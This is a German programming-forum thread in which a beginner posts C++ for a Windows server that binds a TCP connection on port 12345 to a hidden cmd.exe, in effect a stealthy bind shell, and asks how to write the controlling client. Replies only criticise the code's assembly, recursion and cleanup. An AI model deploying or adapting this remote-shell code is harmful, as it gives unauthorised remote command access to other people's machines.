Client für Remote Shell
-
Hi Leute. Ich würde gerne nen Client schreiben, der die Remote Shell, die in meinem Server integriert ist, steuern kann... Was (für eine Funktion) muss ich dafür schreiben? (siehe unten im Client)
MEIN SERVER:
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <iostream> using namespace std; //Class Declaration void ServerStart(); int main() { SetConsoleTitle("Remote Shell"); ServerStart();//Start Server } void ServerStart() { WSADATA wsa; SOCKET s; SOCKADDR_IN sAddr; USHORT port; PROCESS_INFORMATION pi; STARTUPINFO si; port = 12345;//Set listening port memset( &si, 0, sizeof( si ) ); si.cb = sizeof( si ); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; sAddr.sin_addr.s_addr = INADDR_ANY; sAddr.sin_port = (port >> 8) | (port << 8); sAddr.sin_family = AF_INET; WSAStartup( 0x0202, &wsa ); s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) ); listen( s, 5 ); __asm { push ebx mov ebx, s } s = accept( s, NULL, NULL );//Accept Client __asm { push ebx call DWORD PTR [closesocket]//Close if error. pop ebx } si.hStdInput = (HANDLE)s; si.hStdOutput = (HANDLE)s; si.hStdError = (HANDLE)s; CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );//Start the remote process WaitForSingleObject( pi.hProcess, INFINITE );//Allow Client to control remote process CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); closesocket( s ); WSACleanup(); ServerStart();//Server Start Loop }MEIN CLIENT:
#include <windows.h> #include <cstdio> #include <conio.h> #include <iostream> #include <string> using namespace std; //Prototypen int startWinsock(); int main() { SOCKET s; SOCKADDR_IN addr; int rc; rc=startWinsock(); if(rc!=0) { printf("Fehler: startWinsock, fehler code: %d\n",rc); return 1; } else { printf("Winsock gestartet!\n"); } s=socket(AF_INET,SOCK_STREAM,0); if(s==INVALID_SOCKET) { printf("Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError()); return 1; } else { printf("Socket erstellt!\n"); } memset(&addr,0,sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten addr.sin_family=AF_INET; addr.sin_port=htons(12345); // wir verwenden mal port 12345 addr.sin_addr.s_addr=inet_addr("127.0.0.1"); // zielrechner ist unser eigener rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR)); if(rc==SOCKET_ERROR) { printf("Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError()); getchar(); return 1; } else { printf("Verbunden mit 127.0.0.1..\n"); } // Was muss hier rein? <-------------------------------------- getchar(); return 0; } int startWinsock() { WSADATA wsa; return WSAStartup(MAKEWORD(2,0),&wsa); }
-
WTF soll das __asm Zeugs???
Edit1: Ausserdem sollst Du im Client das Socket wieder schliessen. Und auch WSACleanup(..) mal wider aufrufen.
Edit2: Ausserdem, warum rufst Du StartServer(..) rekursiv auf? Eine Schleife würde genügen. Anders wirst Du dann per Gelegenheit mal einen Stackoverflow kriegen.
-
theta schrieb:
WTF soll das __asm Zeugs???
Gute Frage. Fehlt da nicht auch ein pop ebx beim ersten __asm? Es ist immer eine ganz schlechte Idee was auf den Stack zu legen und NICHT wieder abzuholen. Zumindest sollte man es irgendwo wieder runter holen wenn man es nicht mehr braucht. Damit kann man sein ganzes OS aus dem Tackt bringen wenn man es an der falschen Stelle macht.
Ansonsten schließe ich mich auch dem Vorredner an. ^^
-
theta schrieb:
WTF soll das __asm Zeugs???
Edit1: Ausserdem sollst Du im Client das Socket wieder schliessen. Und auch WSACleanup(..) mal wider aufrufen.
Edit2: Ausserdem, warum rufst Du StartServer(..) rekursiv auf? Eine Schleife würde genügen. Anders wirst Du dann per Gelegenheit mal einen Stackoverflow kriegen.
Ok Socket schließen, so etwa?:
else { printf("Verbunden mit 127.0.0.1..\n"); } // HIER WEITERMACHEN!! closesocket( s ); WSACleanup(); getchar(); return 0;Bin ziemlicher Anfänger. Versuch aber mein Bestes...
Skalli schrieb:
theta schrieb:
WTF soll das __asm Zeugs???
Gute Frage. Fehlt da nicht auch ein pop ebx beim ersten __asm? Es ist immer eine ganz schlechte Idee was auf den Stack zu legen und NICHT wieder abzuholen. Zumindest sollte man es irgendwo wieder runter holen wenn man es nicht mehr braucht. Damit kann man sein ganzes OS aus dem Tackt bringen wenn man es an der falschen Stelle macht.
Ansonsten schließe ich mich auch dem Vorredner an. ^^
Hab es so gemacht:
__asm { push ebx mov ebx, s pop ebx //hier eingefügt } s = accept( s, NULL, NULL );//Accept Client __asm { push ebx call DWORD PTR [closesocket]//Close if error. pop ebx }Nur wie bekomme ich das nun mit dem Client hin, dass er die Remote Shell steuern kann?
mfg skully
-
Ja, aber warum zur Hö*** schreibst Du nicht C oder C++ Code um das Socket zu schliessen im Fehlerfall?
-
theta schrieb:
Ja, aber warum zur Hö*** schreibst Du nicht C oder C++ Code um das Socket zu schliessen im Fehlerfall?
Ich wollte mit Inline-Assembler experimentieren. Der Code ist übrigens auch nicht von mir. Ich versuche ihn nur nachzuvollziehen...
-
Ich habe mich noch mal informiert und glaube, dass ich etwas mit sog. "Named Pipes" schreiben muss. kennt sich da evtl. jmd. mit aus?
-
Ich habe mich noch mal informiert und glaube, dass ich etwas mit sog. "Named Pipes" schreiben muss.
Warum glaubst Du das?
kennt sich da evtl. jmd. mit aus?
Ja... aber da gibts sicher noch andere (z.B. Jeffrey Richter oder Charles Petzold)...
Simon
-
theta schrieb:
Ich habe mich noch mal informiert und glaube, dass ich etwas mit sog. "Named Pipes" schreiben muss.
Warum glaubst Du das?
kennt sich da evtl. jmd. mit aus?
Ja... aber da gibts sicher noch andere (z.B. Jeffrey Richter oder Charles Petzold)...
Simon
Kannst Du nicht auch was dazu beitragen? Wäre nett...
-
Will mir denn keiner helfen?

-
Ok, dann welche Literatur empfiehlt ihr mir hier?
-
__asm { push ebx mov ebx, s pop ebx //hier eingefügt }ist absoluter Quatsch. Du solltest Assembler schon verstehen wenn du es benutzt.
Erst ebx auf den stack pushen, dann den socket nach ebx laden und sofort wieder ebx poppen - was soll das denn?